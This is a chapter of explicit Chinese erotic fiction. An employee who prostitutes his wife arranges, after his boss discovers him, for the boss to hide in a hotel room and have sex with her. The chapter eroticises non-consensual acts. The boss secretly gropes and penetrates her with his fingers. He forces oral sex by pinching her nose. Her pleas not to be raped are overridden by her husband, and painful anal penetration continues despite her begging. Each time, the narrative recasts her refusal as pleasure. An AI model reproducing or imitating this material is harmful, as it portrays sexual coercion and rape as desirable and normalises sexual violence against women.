站长推荐



热门搜索

站长推荐

[都市] 淫男乱女(全)-15

  


772.良妇脱胎终成妓--从良

说到这里,汪海洋已经是泪流满面了,”今天我又出来帮老婆拉客,没想到还是碰到了熟人,竟然是少爷!我……“

他将家里的丑事毫不隐瞒的告诉了小雄,心里仿佛卸下了负担一般,长长出了口气,”请少爷不要解雇我!“

小雄叹了口气,”你老婆下岗的事情,公司有人知道吗?“

”没……没有……“

”你这人也是,在公司也作了有三四年了吧?有困难为什么不跟公司说呢?“小雄转过身来看着他说,”不管怎么说,银安现在在全省都是龙头企业,你在家门口作这种生意,早一天晚一天都得败露。你没看咱们市的那些小姐基本都是外地来的,少有人在家门口干这个的!这样吧,今天的事情就到此为止,你以后别让你老婆出来卖了!我去给向沁那里说说,看仓库那边还需不需要出货员,让你老婆去吧!一个月一千多块钱,虽然没有做小姐赚的多,但是也应该比她当初在工厂多,这钱也是干净钱。你还没有孩子,做小姐时间长了会对精液产生抗体,将来很难怀孕的!“

”少爷……“汪海洋屁股离开的座位,跪了下来,失声痛苦。

”行了,去把你老婆叫上,我送你们回家吧!“

”少爷!“汪海洋叫了一声,用衣袖拭去眼泪说,”少爷宽宏打量,海洋在这里谢谢了!我一个小职员没什么可以报答少爷的,以后我会加倍努力工作的。“

小雄点点头,他又说:”我老婆虽然文化程度不高,但是绝对是一个漂亮的女人,如果少爷有兴趣的话,就让她服侍少爷一次!“

小雄在听毫不隐瞒的叙述家丑的时候,对他母亲和老婆的淫骚已经感兴趣了,鸡巴早就挺了起来,现在又听到他这么说,心里早想见识见识,但是面子上还是推托着。

汪海洋说:”一会儿我把她叫过来,我掏烟抽,如果少爷看不上不感兴趣,就阻止我抽烟!“

小雄沉默不语,他下了车回到公园中去找老婆了。

当汪海洋带着他老婆出现在公园门口的时候,的确给了小雄一种惊艳。

她全身散发着她那二十多岁女人的青春和俏丽,两个水灵灵好像会说话的眼睛,白里透红的俏脸,显得份外迷人,她这种白里透红的肌肤是没有化妆过的,只是在嘴唇上涂上一层薄薄的淡红色。

她的身材没有像日本女优那般夸张,但就是很均匀,因为她的腰很纤细,所以把她的胸部和臀部都衬托得很丰满。

小雄心里暗自道:汪海洋这么窝囊的一个人,不知前世修了什么好,这一世有机会娶到这么漂亮的老婆。

汪海洋将妻子介绍给小雄的时候,惠云从小雄的眼睛里似乎看到了点什么,她以前只是从老公嘴里听说过银安这个风流的少爷,一直没有机会面对面。

汪海洋在公司了显得很是不合群,公司每年的活动他都不怎么参加,所以惠云也没有机会到银安,自然也没有机会直面小雄。

送他们夫妻俩回家的路上,小雄任由汪海洋抽烟,汪海洋知道少爷对他的老婆有兴趣,心里很是高兴,终于可以报答少爷的宽宏大量了。

到汪海洋家楼下的时候,汪海洋让老婆先回去,他留在车里和小雄制定了一个计划。

傍晚,惠云问老公,今晚想吃什么。

汪海洋说:”今天我在公园给你拉客被少爷发现了,少爷很同情我们,他安排你到银安的饮品厂上班,一个月一千多块钱,你去不去?“

”老公,你说去就去!“

”老婆,我们以前只是考虑你作小姐来钱快,但是没有考虑一旦遇到熟人,你我可就身败名裂了,今天少爷教训了我一顿,我想,我是错了,不该让自己心爱的老婆去给别的男人糟蹋!你去上班吧,这钱我们赚的干净放心!“

”行,老公,我一切听你的!“

”为了庆祝我的小姐老婆从良,我们今天出去奢侈一下!“

”好呀!去哪里?“

”你就跟我走吧!“

汪海洋用摩托车载着老婆往丽池酒店而去,”咦,老公,这是丽池酒店啊,很贵的!“

”我们今晚就在这吃,吃完了这里还有咖啡厅,我们去坐坐,然后就在这开个房,我们也享受一下贵宾的待遇!“

”哈哈,这里应该很有趣!“惠云满脸的兴奋。

汪海洋带着老婆在丽池酒店的中餐部吃了饭,自然都是小雄安排好的,账也挂到小雄的名下。

吃过饭后,汪海洋说:”走,我们去酒吧享受一下蓝山咖啡的滋味,听说这儿有很多流莺呢。“

”是吗?我倒要看看这里的流莺是不是真的那么漂亮。“

汪海洋故意露出歹脸色,一副淫虫的模样对她说:”不如等我先进去,看看有多少个女人被我引来?“

惠云就用力捏老公的手臂说:”你思想好坏的。“突然她双手叉着腰,摆出一副挑战的神色对老公说:”也好,你去钓你的女人,我也扮流莺,看看我在这儿值得多少钱。要是行情好的话,我在卖最后一次。“

”行呵,三句话不离本行。不过,低于一千元不许你卖。“

俩人相视一笑,拉着手进了丽池酒店的咖啡厅。

”你先去找个座吧,我去洗手间下。“惠云对老公说。

”嗯,去吧!“

这里咖啡厅果然很有情调,昏黄的灯光下,有很多小桌子,大都是两个相连座位,很多已经一对对地亲蜜地坐在一起,抱在一起了。但很明显的,很多不是情侣,四、五十岁的伯伯抱着一个相信比他女儿还要小的妙龄女人,怎么会是情侣呢?

汪海洋给带坐到一个空桌,叫了两杯咖啡,眼睛看着入口,等着惠云和小雄的出现。

”先生,你今晚要不要我来陪你?“一个温柔的女声在汪海洋耳朵边说。

他一回头就看到一个颇有姿色的女孩坐在他的身边,还来不及回答她,她已经把身子贴过来,她穿着短裙低胸装,汪海洋眼稍一扫,已经可以从她衣服上看到她两个又圆又大的白胸脯。

”不要了,我已经……“汪海洋轻轻推开她的肩,但她那外露的肩上的皮肤又滑又嫩,使他有点迟疑。

”哥哥,让我陪你一晚吧,只要三百块就行了。“她一边说着一边用手搂着汪海洋的腰,把胸脯贴过来,这时汪海洋的手臂已经能感觉到她高低起伏的胸脯。

”小姐,请你……“汪海洋还是要推开她,惠云快要来了,给她看见就不好了,她可是不允许老公碰别的女人啊。

那女孩把他的手放到她光滑的大腿上,隔着丝袜他能够感受到她身体的温暖和大腿的诱惑。

”帅哥,只要二百八十块就行了,我陪你到天亮。“她先减个价,然后双臂套着汪海洋的脖子,主动地吻起他。

汪海洋从来没碰过这么主动的女孩,以前他追求惠云的时候,也是全部是由他主动,给这个女孩一吻,他三魂不见六魄,顿时不知所措,真和她嘴对嘴吻起来,当然只是嘴唇相吸,还不至于是湿吻。

汪海洋还想推开她,但她已经伸手到他的裤子,把他的拉链拉开,说:”我懂得很多使你舒服享受的招式呢。“说完她纤细的手已经抓到汪海洋的鸡巴,用指甲轻刮着,然后用柔软的掌心轻轻按抚着,他的鸡巴立即肿胀得像一条瓜那般,差一点从裤里面跳出来。

”帅哥,你看你的老二已经接受我了。“那女孩嫣然一笑,加以她有八分姿色,差一点迷倒了我。

”不要,小姐,我已经有太太了……“汪海洋还想对这眼前的诱惑作出最后的抵抗。

”帅哥,来这里玩的人很多都有太太的。“她把一头秀发向后一拨,把她整个俏脸都露了出来,把汪海洋的手指放在她嘴里吮吸着,说:”先生,你看我的嘴性不性感,等一会儿,我就会含你的大鸡巴。“

她说话竟是那些大胆直接,汪海洋的鸡巴在裤里跳动了几下。

惠云已经从卫生间出来,侍应小姐想带她进来,她摇摇手,示意说是来找人的。

她不知道其实在这里,只有那些流莺才不需要人家带位,所以那侍应白她一眼,以为她就是来兜客的小姐。

她向老公这边走来,汪海洋想推开身上那女孩,但已经太迟了,惠云全看在眼里。

她朝老公嘟一下嘴,刚好那女孩又在他的脸上亲着,他不能动弹,只好摇手示意。

但她别过脸去,好像在生汪海洋的气。

她虽然出卖肉体被别的男人肏过,却还是个醋坛子,不容老公染指他人。

汪海洋看她朝这里慢慢走来,心里庆幸着,她坐下,他可以趁机摆脱这流莺。

这时在汪海洋对面,大概隔两个桌子的座位,有个四十多岁的男人单独地坐在那里,他的头发已经半秃,头两边故意留了长发,然后盘在头顶上,掩饰他那难看的秃头。

他老是用色迷迷的眼光四处找寻着心目中的猎物,当他看见惠云的时候,立即站了起来,拉着她的手臂,把她拖坐在他的座位上。

惠云给他吓了一跳,正想用眼光向老公求助,但老公身上的那女孩却热情地贴着他,惠云赌气地回头,顺从那男人的邀请,坐到他的座位上,眼睛还不停地朝老公这边看来。

在汪海洋身上的女孩趁他注意力不集中,继续施展她的媚力,把胸前的扣钮解开,本来已经是低胸装,现在两小片衣服左右一翻,就连她的乳晕都看见了。其实除了惠云和自己的妈妈,汪海洋从来没看过其他女人的真实乳房,所以这时候心不禁扑扑跳。

惠云不时地看向他,见他还和这不知名的女孩在胡混,她也故意亲怩地贴近那男人,那男人也不客气地用手臂搂着她的香肩,汪海洋看到惠云好像不大自在,但她看向他,又好像要报复那样依偎向那男人。

这时汪海洋的心里早不在乎身上那妓女,瞪大眼睛死盯着坐在对面的惠云。那男人的手搭在她大腿上。

”哇,这老色鬼!“汪海洋心里骂道,惠云的大腿因为很光滑,而今天又没有穿丝袜,那男人的手得益不浅啊。

惠云想推开他的手,但男人大力地搂着她,使她双手不能动弹,然后用另一手继续摸着她的大腿,他也真够放肆,在这咖啡厅公众地方,竟然把手伸进惠云的短裙里面,汪海洋看到他把短裙都翻了起来,惠云那白色丝内裤都露了出来,他的手就摸了上去,惠云连忙把他的手推开。

”帅哥,怎样,二百八十块很便宜的了。“那女孩还继续向汪海洋兜生意,见他无动于衷,便把他右手抓起,按在她胸脯上,双手感到一阵柔软,那女孩的胸脯可不小,一只手还不能抓得住整个乳房,他不自觉地揉了起来。

惠云看到老公这样,本来两颗大大的眼睛瞪得更大,那男人刚好又再用左手抱着她肩,她顺势依偎在他胸前,男人另一手搭在她的腰上,然后贪婪地往上摸,整个手掌按在惠云的圆浑的胸脯上。

汪海洋看到老婆用力挣扎着,他还不放手,继续在她的胸脯上摸搓着。

汪海洋再也坐不下去,把身上的小妓女推开。

”先生,你已经摸了,至少也要五十块。“那女孩板起脸来,刚才那点点温柔完全消失了。

汪海洋慌忙从钱包里拿出五十块给她,她怏怏地站起身来,拿起小腰包走开了。

就在这个时候,对面那男人又趁机占惠云的便宜,他突然用那双摸她秀发的手抱着她的头,嘴唇压在惠云的小嘴巴上面,强吻起来,惠云给他这突然其来的侵犯,也和老公刚才那般手足无措,没回过神来已经给他弄开了嘴巴,来了个湿吻。

惠云没有在酒店公开卖淫的经历,挣扎着站起身来,那男人才扬扬手示意她离开,低下头去喝他那杯放了很久的鸡尾酒。

惠云来到老公身边,俩人像一起渡过患难的情侣一般,拥抱在一起。

汪海洋刚才以为她对他和妓女搂抱的事情发怒,也以为她会哭诉那男人强吻她,出乎他意料之外,惠云好像很开心很兴奋的样子。

”你知道那男人刚才要出多少钱?“惠云依在老公身边说,”他说平常这里女孩价钱从两百六十块到四百块不等,他说要给我六百块,叫我陪他睡一晚。你说能不能干?“

”嗯,他真是阔绰。刚才那个在我身边的女孩只要两百八十块呢。“汪海洋一边把咖啡递给惠云一边说,”那你怎样拒绝他呢?“

”我按你事先说好的,要一千块才行。他立即瞪大了眼睛,没有回答我,只是忙着搂我、摸我。然后说最多八百,说是看我生得漂亮,这个价钱在这里玩三个女人都用不了。“惠云把她刚才的遭遇告诉老公,”我都想答应了,但怕你生气,就说不行,一定要一千块,他就强吻了我,但最后还是出不起这个价钱。“

”哈哈,那你一夜肉金在这里值八百块喽!比在我们那儿卖划算嘛。“汪海洋笑道,”不过,你就是要开价一千元,低于这个价不卖。“

”你真当我是摇钱树哇?哪个男人肯出这么多钱?“惠云娇嗔地回打老公,俩人搂抱在一起,反正咖啡室里的男女很多都搂在一起。

汪海洋这时看到对面那男人盯着他们,好像很妒嫉的样子。

汪海洋就故意和惠云深吻起来,舌头在嘴里交缠着,手又在她的胸脯上隔着衣服抚摸她两个娇人的乳房,看得那个男人咬咬牙,汪海洋心里得意极了。

当他们停下来时,汪海洋看到惠云嘴唇上的口红都有点狼藉,可能是那男人强吻她的时候弄成这样,也可能是他吻她的时候搞的。

”惠云,你先去化妆室整理一下,等会儿我们再在大堂见,我会订酒店房间的。“汪海洋说完,惠云就先离开咖啡厅。

惠云走出去后,对面那男人来到汪海洋面前说:”老弟,你刚才出多少钱才得到那女人?“

汪海洋故意说:”三百块。“

那男人气恼地说:”岂有此理,我出八百块,她都不肯找我!“

汪海洋呵呵笑他说:”她说我长得帅长得年轻,所以三百块也不计较。“

气得那人脸一阵红一阵紫的,汪海洋心里暗暗好笑,他不知道那是他的老婆。

汪海洋刚走出咖啡室,身后有拍拍他的肩,扭头一看,是少爷。

”我已经订好房间了,1022,我藏在酒店房里。“

”好的,少爷!“

”你上去后直接开门就好了!“小雄说罢,先行上了楼去。

片刻惠云出来,汪海洋搂着惠云的腰肢,和她一起上楼去了。

惠云第一次来到这么高档的酒店,根本不懂得进门是需要用持卡开门的,也没主意老公是怎么打开房门的。

进了房间后,汪海洋不不知道小雄躲在那里,不知道会不会给惠云发现。

他四周看了一下,只有一个地方可以藏人,那就是衣柜里,幸好我们没带行李,所以惠云根本不会去开衣柜。

”真豪华啊!老公,这一宿得不少钱吧?“惠云将包扔到沙发上,将自己的身子摔到床上,”哇,好舒服啊!“

汪海洋笑着脱衣服,去卫生间冲凉,留下惠云在卧室兴奋的打开电视调着台。

汪海洋洗完后,惠云抓起自己的包进了卫生间。

惠云关上卫生间门时,小雄开了衣柜门对汪海洋说:”我在这里,你们先玩会儿!“

汪海洋点点头,还没有当着别人面和老婆做爱过,心里还真绝对挺尴尬的。

惠云从卫生间出来,她穿着特地带来的吊带低胸短睡裙,是丝质的,很性感的,她没带乳罩,一大半的奶子可以从那睡裙上面看到。

汪海洋搂住她,她也抬起头,使他轻易地吻着她,双手摸着她圆大丰满的臀部,把短睡裙拉上来,双手从她丝质内裤里伸了进去,轻轻地抚摸她的屁股。

低下头去吻她的粉颈,然后吻她的胸部,双手已经把她的内裤扯了下去。

”啊……老公……你今晚怎么这么急色……“惠云口里虽然这么说,但她已经抬起腿,让汪海洋容易地把她的内裤脱掉,把她的内裤扔在地上,然后抱着她,走向床。

”老公……你别那么心急嘛……我们还没讲好条件呢……“惠云温柔地推开老公。

”什么条件?“汪海洋一边继续吻着她的香肩,一边问她。

”肉金!“惠云俏皮地说,”你在咖啡厅里去找,也要二三百块,我怎么可以免费给你……要知道,我可是职业妓女哦。“

他的手摸到她双腿之间毛茸茸地带,那里开始有点湿润,她却扭着腰,不让他去碰她。

”好吧,小姐,你要多少肉金?“知道老婆很喜欢玩耍,这次看来要玩流莺和大豪客的游戏,他当然乐意陪她玩。

”就收你一千块,和刚才那个秃鹰相同。“惠云笑嘻嘻地说。

”好吧,成交。“汪海洋说完,立即扑上去抱着她,她在老公手臂之间挣扎着,叫道:”老公……你赖皮……还没拿钱给我……“

汪海洋笑嘻嘻地把她抱扔在软软的床上,短短的睡裙翻了上去,使她的私处那一小片阴毛露了出来。

”肏完了再给钱!“

”老公……你真坏……“惠云羞得反过身去,但她忘记她那两个圆大的屁股也是一样很诱人的。

汪海洋扑向老婆,把她身子扳过来,吻着她,她也很合作地张开嘴巴,把舌头伸进他嘴里,他的舌头也卷入她嘴里……

汪海洋的手把睡裙左边的吊带拉下来,她的乳房就露在眼前,结婚几年,惠云的乳晕还是很浅的棕色,而那颗乳头还是粉红色的。

在汪海洋摸捏下,乳头立即竖了起来,他的嘴就朝那奶头吻了上去,轻轻地吸吮着她。

”啊……啊……老公……好痒啊……咬下去……咬我的奶头……啊……“惠云开始呻吟起来。

她不知道这房间里还有另一个男人,她诱人的呻吟声也会给他听见,这令汪海洋感到很兴奋。

这时汪海洋和惠云的激情已经完全淹没了一切,他开始轻轻咬着她的乳头,她便扭动起身子来。

他的手把她的睡裙褪了下去,她全身赤条条地给他压在床上,他的手摸到她私处小屄上,那里已经湿洼一片。

她很热情地抱着老公,不断扭着很有曲线的身体,”啊……老公……快来吧……我想给你肏……快插我……啊……嗯……“惠云一边说着,一边把老公的T恤和内裤脱了下来。

可能是头一次在这豪华的酒店里做爱,她很兴奋,也格外的风骚。

汪海洋想起那躲在衣柜里的小雄,心里有一种渴望,渴望站到他面前去和老婆做爱,让他清晰的看到惠云的每一个淫荡的动作。

于是便对惠云说:”我们这次不要在床上,我要把你压在墙上大干一场。“

惠云点点头,说:”啊……老公……你喜欢怎样……都可以……啊……干我吧……啊……反正我是妓女。“

他把她拉起来,推向墙角,然后压着她,后来又把她推向衣柜,把她压在衣柜门上,里面的小雄一定能从衣柜那百叶扇的空隙中很清楚地看到惠云的丰臀。

”少爷,请你饱览一下我娇妻吧!“汪海洋心里这样想着,便把惠云的身子反过来,使她前面贴着衣柜。

他很用力地压着惠云,使她的乳房和乳头从衣柜的百叶扇里挤了进去。

”啊……老公……衣柜里好像……有东西……弄我的奶头……啊……“惠云整个人紧贴在衣柜上继续呻吟着。

汪海洋知道一定是小雄在拨弄她的奶子。

虽然心里更兴奋,但生怕惠云发觉,就没有回答她,把自己的鸡巴放在她双腿间,磨着她的小屄,她的小屄淫汁多得流到大腿内侧,也就不大在意奶子给别人玩弄的感觉了。

”啊……肏我吧……老公……插深一点……啊……啊……“惠云全身抖动,兴奋地叫起来。

惠云有点奇怪:我的鸡巴还没插进她小穴呢,她为什么会这么呻吟呢?

往下一看,原来小雄从衣柜里伸出了两根手指,刚好插在惠云的小屄里,还一伸一缩地搅动着。

”嗯,老公啊……嗯……这柜子好凉啊!“柜子的确很凉,让惠云感到小腹上不太舒服。

这时汪海洋看到小雄的手指收了回去,他就把惠云放在床上,嘴吻在她那光洁娇嫩的小肚皮上,然后向下滑。

当吻在她毛茸茸的阴阜上时,她忙拉着他说:”老公……不要……唔……那里不要……“

汪海洋和惠云从初交到结婚,向来喜欢吻她的私处,今天更是卖力地吮吸着她那两瓣鲜嫩阴唇,舌头探进了两唇间,触动她的阴蒂,她全身一颤,嫩滑的小屄里立即流出大量的淫水。

汪海洋感到是那么兴奋,不由把惠云的双腿推上去,这时她只能和他充份合作,根本没办法拒绝,看来她真是爽透了。

”老公……吃吧……吃我的小饺子……啊……“惠云发出呻吟声,不过很快就变得不清晰的哦哦声,她双手把床单抓得紧紧,身体不断抖动着。

汪海洋的舌头弄入她的屄缝里,把那些淫水弄得辟辟啪啪的。

”老公……别再吃了……快给我吧……我要你的鸡巴……“惠云伸手来拉着他,他才站起身来,挺起鸡巴,把她那对修长的大腿抬起来,把鸡巴放在她那水汪汪的阴户外面搓磨着,准备进攻她的海港。

惠云很主动地抱着老公,用她那纤纤玉手摸向他的鸡巴,引导他的鸡巴往自己屄里前进。

汪海洋的腰轻轻施力,就把鸡巴送进她的小屄里,一阵温暖和柔软紧紧地包围着他的鸡巴,那种感觉简直像要飘起来一般。

惠云双腿夹着老公的腰,热烈地拥抱着他,他们就在床上翻滚着……

片刻,”老公……这次让我来……服侍一下你……“惠云压到老公身上,坐了起来,她那两个像车头灯那么圆大的乳房完全暴露在老公眼前,汪海洋空出来的双手立即繁忙起来,一手摸一边乳房,她的乳房又大又柔嫩,上头两颗乳头都已兴奋地站起来,使他的手掌和掌心都得到不同感觉的超级享受。

惠云主动地摇动着屁股,上下上下地移动着下身,使他的鸡巴在她小屄里进进出出。

她的小屄很狭窄,把汪海洋的鸡巴包得紧紧,所以当然每一次蠕动身体,都带给他很大的刺激和兴奋。

惠云挪动着她那可爱的丰臀,不断套弄在鸡巴上,那胀大的龟头在她小屄壁上不停地刮磨着。

”啊……老公……我……我很爱你……你的鸡巴真棒……把我的小洞洞……撑得满满……啊……啊……我要你喂饱我……啊……“

惠云呻吟起来,开始坐不直了,只好把双手按在老公肩上,支撑着身体,这样她那两个大奶子半垂着,更形巨大,汪海洋稍一放手,大奶子便随着她身体的动作而晃动着。

当汪海洋沉醉于享受抚摸和欣赏惠云乳房的晃动时,突然有个身影出现在惠云背后,是少爷,他全身赤条条的,双腿间粗大的鸡巴晃动着,硕大的龟头发出紫红色的光泽。

汪海洋一直对自己的鸡巴没有太大信心,相信很多人都比他粗大,但这个小雄的大鸡巴更是粗大无比,简直像一个婴儿的手臂那般,怪吓人的,如果不是亲眼看过,他还真不相信公司里那几个骚性的女职员所描述的。

他靠近惠云时,汪海洋虽然心里好像有点异样,但是也没说什么。

小雄从惠云的腋下伸手到她前面,抱着她,她那两个刚令汪海洋爽过的大奶子现在却落入小雄的手掌中。

汪海洋也不知道是惠云的奶子太柔软,或者小雄很用力捏她,反正惠云的奶子在他眼前已经给小雄抓捏得变形了,他还用手指夹着惠云的奶头,使惠云气喘吁吁。

过了好一会儿,惠云才醒悟这对大手不是老公的,她迷乱地回过头,看到小雄的脸,吓得对老公说:”老公……少爷……唔唔……“她还未说完,小雄的嘴巴吻在她的嘴上。

”老婆,少爷宽容了我的行为,也给了你从良的机会,就让我们报答一下他吧!“

惠云还想挣扎,小雄那双手再次用力摸捏她那对柔嫩的乳房,当他把她的奶头一捏,惠云兴奋地张一张小嘴,小雄便趁机把他的舌头弄进她嘴里,在她嘴里乱搅,逗弄她的舌头。

惠云的挣扎就这样给他平息了,汪海洋用鸡巴抽插着惠云的小屄,而她的上身全给小雄霸住了,他抱着她,亲着她的嘴,摸捏她的乳房,还用手指去捏她两颗奶头,使惠云”唔唔“地不断呻吟着。

弄了一会儿,小雄坐到床上来,他把惠云的身体一扯,惠云的上身便倒在他的大腿上,那又粗又大的鸡巴刚好放在惠云的面前。

”啊……老公……我不要……啊……“惠云一边呻吟一边别过头去,汪海洋看着小雄把他娇妻的粉脸扳过去,捏着她的鼻子,当惠云张开嘴巴时,他便把他那根大鸡巴挤进她小嘴巴里。

”唔……唔……唔唔……“惠云只能发出唔唔唔的声音,兴奋的欲望使她渐渐迷失了,她伸出纤纤玉手,抓着那根鸡巴,开始有节奏很用心地吸吮起来。

小雄伸手揭起惠云长长的秀发,让他能看见这漂亮的惠云怎样含他的鸡巴。

惠云看来嘴巴不够大,他那巨大的鸡巴她只能含进三分之一,整个粉脸已经胀鼓鼓了。

小雄不时摇动大腿,大腿在惠云的嫩嫩的奶子上蹭着,使她更是”唔唔“不断。

”哇,海洋,你老婆口交技术还可以啊!“小雄一边干着海洋的嘴一边说,”哇……很舒服……“

小雄的鸡巴在惠云的嘴里进出得越来越快,惠云整齐的皓齿在他那大鸡巴上轻刮着,使他兴奋得满脸通红,不一会他”哎嘿“叫了一声,精液像消防水喉那样有劲地射了出来,射在惠云的嘴里。

粘糊糊的精液太多了,惠云合嘴的时候,有些吞进肚子里,有些流了出来,弄得整个下巴嘴边脸颊都是。

惠云虽然好像很兴奋,但她还是清醒的,所以很羞愧,慌得抱着老公。

小雄嘿嘿一笑,恶作剧的把惠云的头按向海洋,俩人就吻在一起。

海洋本来不想吻她,她满嘴都是小雄的精液,但少爷喜欢这样,具只好一边用鸡巴干着她,一边热烈地吻着她的嘴巴。

海洋的舌头在她嘴里搅弄着,她满嘴巴的精液都黏在他嘴上,还别说少爷的精液没什么怪味。

”海洋,让我玩会儿!“小雄把惠云从海洋身上拖开,把惠云放到床上,就扑了上去。

海洋吃惊地看着小雄,他真实超人啊,刚才才射完精,现在他的鸡巴又是胀得老大,一下子对我惠云的小屄插将进去。

”啊……老公……不要……不要让他强奸我……啊……啊……“惠云哀叫起来。

”不是强奸,老婆,忘了我刚才说的话了吗?“

惠云听到老公这么说,立刻放弃了反抗。

小雄把惠云的双腿放在他肩上,使她双腿大张,然后压下身体,他的龟头已经把惠云的小屄撑得老大,幸好刚才惠云给老公弄过,小屄里已经淫水涟涟,小雄的鸡巴顺利地插进三分之二,已经直插到她的花心上,弄得惠云身体一抖一抖的。

很快惠云不在乎肏着她的是什么人了,开始浪叫起来:”啊……少爷……你的鸡巴好大……肏得我很爽……啊啊……快用力肏我……啊……“

小雄嘿嘿一笑说:”是你说的,小骚屄,别后悔。“说完把腰用力往下压,这一次整根鸡巴插进惠云的屄腔里。

”啊……不要……会插破我……不要……求求你……少爷……啊……“惠云哀叫起来,她绝不夸张,因为豆大的泪珠和汗珠流了下来。

小雄没有怜香惜玉,一下又一下重重地把鸡巴送进惠云的小屄里,每次插进去时,都把惠云的下腹撞得隆起。

海洋想少爷那又长又大的鸡巴,不但直达老婆的花心,可能还连她的花心也给他弄得开花。

在他这次抽动十数次,惠云已经爽得眯起眼,双手紧紧地抱着他的脊背,不断叫着:”啊……好……好爽啊……我要你肏死我……少爷哥哥……我要做你老婆……天天都给你干……啊……啊……我不行了……好哥哥……把我肏死吧……我快死了……再用力干我……啊……“

海洋听到老婆说要做少爷的老婆,要天天让他干,心里说不清楚是恼怒还是兴奋,加上刚才还没射精,鸡巴还是直挺挺的。

小雄见到说:”来吧,别只看,过来让你太太为你吸吮一下吧。“

小雄侧身躺在床上,从后面插着惠云的小屄,海洋和惠云反方面躺下来,她刚好可以为他口交。

惠云给小雄肏得差一些车仰马翻,现在老公的鸡巴放在她嘴边,她便急不可待地吸吮起来……

一阵阵快感从海洋下体传来,他全身爽极了。

因为和老婆相反方面,他可以看见小雄那大鸡巴从惠云背后抽插着她的小屄,她的阴唇已经给干得又红又肿,每次他抽出来时,她那大阴唇小阴唇都给反了出来,露出鲜嫩的红色。

小雄的手伸过来,把惠云阴唇分开,说海洋说:”海洋,你看见你太太那小小的阴蒂吗?“

海洋嗯地答他一声,小雄说:”你太太为你服务,你也亲一下她这部位,她会爽死的。“

海洋果然看到惠云的红红的阴蒂,用嘴稍一吻,惠云已经唔唔地发出兴奋的呻吟。

少爷果然是性场高手,真懂得如何享受啊!海洋心里赞叹着,开始舔舐老婆的阴蒂,但很小心,因为小雄的鸡巴在惠云的屄里进进出出地干着。

惠云口交的技术现在已经很好了,很快使老公更兴奋,他伸着舌头在她阴蒂上亲吻着,不时碰到小雄那粗大的鸡巴。

因为实在太接近了,加上海洋很兴奋,分不清地方,所以后来连小雄那大鸡巴也一起舔舐起来……

小雄更兴奋了,那鸡巴胀得像大炮一般,每次插入惠云小屄里,都弄得她整个小腹胀鼓鼓的,抽出来又把小屄的肉反了出来,海洋倒是第一次这么近看到,真是一大奇景。

小雄连续抽插五六百下,最后一次用力插进惠云的小屄深处,然后僵持着,不一会儿,惠云本来给他插得发胀的小腹胀得更大,小雄在她花心里射精了,把她的屄灌得满满的。

海洋还在吸她的阴蒂,她里的精液突然泄了出来,沾得海洋满嘴都是。

那时候很兴奋很迷惑,所以没有觉得理会这种事情,只觉得自己的鸡巴快要在惠云嘴里胀破,所以小雄一抽出来,就轮到他把鸡巴再次刺进她的小屄里。

海洋自己都不知道为什么自己今天会坚持这么久,以往都是十分八分就交货的。

海洋再次和老婆抱着做起爱,惠云浪得全身发颤,呻吟声也不再有意思:”啊……老公……大鸡巴……啊……肏我……啊……“

她再次爬坐在老公的身上,上上下上下地扭动着套弄着,她的小屄不断含弄着老公的鸡巴。

惠云兴奋得自己托起骄人的两个大奶子,对老公说:”来吧……老公……捏破我的大奶子……快肏我……啊……啊……“

海洋就大力地捏弄她的乳房,她的快感来了,不能再坐直,倒下来伏在老公身上。

小雄在一旁看得那鸡巴又再竖起来,他性能力真强,简直不像常人,海洋不知道他又想怎样,只见他走向惠云身后。

惠云突然全身发抖叫了起来:”啊……别……别弄我的屁眼……啊……“

原来小雄用手指插在她的菊门,使她全身都发浪起来。

海洋竟然伸出手去,放到老婆的屁股上,用力把老婆两个圆滑的屁股扯开。

小雄先从海洋小屄部位沾了不少淫液和精液,涂在她的屁眼,然后握着鸡巴去刺她。

惠云凄厉地哀叫起来,他也才把龟头弄进去,然后一寸一寸把鸡巴硬插在惠云的屁眼里。

”啊……别再进去……我会给你干裂……求求你……少爷……啊……“惠玉也不是没肛交过,只是从没有被这么大的鸡巴肏过,她痛得眼泪直流。

终于,小雄那整尺长的大鸡巴全插了进去。

小雄开始抽插起来,惠云像三文治那般给老公和小雄夹在中间疯狂地肏着。

惠玉在最下面承受着两人的重量,有点吃不消,很快就忍不住,把精液射在老婆的屄里,然后连忙退出来,留下惠云继续给小雄肏着屁眼。

小雄把惠云翻过来,托起惠玉的双脚,继续肏干她紧凑的屁眼,并且亲吻她雪白的脚趾。

惠云没想到少爷会给她舔脚趾,霎时内心里发生了变化,原来这个小伙子不单单是玩弄她,是真的打心眼里喜欢她,就脸老公这么爱她,都没有亲吻过她的脚丫。

心里有了变化,对小雄肏干她的屁眼就不感到那么难受,反过来有一种酥麻张满的爽快感,半睁开双眼看着小雄,嘴角哼起了荡荡的音调。

小雄刚才之所以射的那么快,就是要在惠云的嘴巴和小屄中留下自己的烙印,仿佛昭示着”小雄到此一游“一般。

这一次就没那么好相与了,他肏着惠云的屁眼,和惠云对视着,从这个虽然很漂亮,但是也很艳俗的女子眼睛里看出她的柔情来,这种柔情是对他的接纳很信赖。

这个惠云有着比何天桥的老婆美仙更加艳俗的地方,艳俗的几乎跟湖南卫视的娱乐女主播李湘一般的气质。虽然不用真心相待,倒也不失一个床上的好玩伴,一个好炮友。

惠云感受着小雄大鸡巴抽插她屁眼带来的另类快感,从小雄眼睛里看到对自己的欣赏和那么一丝丝的蔑视,她心里明白自己在小雄这个阶层的男士眼睛里只有漂亮,别的优势什么都没有。或许他眼睛的里的那个欣赏就是欣赏自己的漂亮,如果自己表现的再淫荡一点,这份欣赏或许会更多一些。

对于一个生活于上流社会的帅哥,一个风流倜傥的男孩子,能给自己舔舐脚丫,能从眼睛里流露出一些欣赏,已经足矣,已经够她炫耀和回味一生的了。

今天能让他肏遍自己身体的三个洞眼,在自己嘴巴、小屄、屁眼里留下精液,自己在同为下岗的姐妹中,将是何等的荣幸和荣耀。

所以她现在很期待小雄能立刻就在她紧凑的屁眼中射精。

但是,小雄并没有这么快就结束这次战斗,他舔舐吸吮着惠云的脚趾,将鸡巴从她屄里抽了出来,让惠云有点失落,但这失落是暂时的,因为小雄身子前蹿转身,将屁股放在她的脸上,鸡巴放在了她的双乳之间。

她从A片中看过所谓的乳交、独龙之术,立刻有样学样,舌头在小雄的屁眼上舔舐起来,双手挤着自己的乳房将小雄的鸡巴夹住,与此同时小雄依旧扳过她的双脚,依旧吸吮她的脚趾。

海洋看着俩人,注视这老婆巴结的一举一动,自己从没舔舐过老婆的脚丫,看来传说中少爷喜欢女人秀足是真的。同样老婆也从没给他舔过屁眼,当然他也没有要求过老婆那么作。

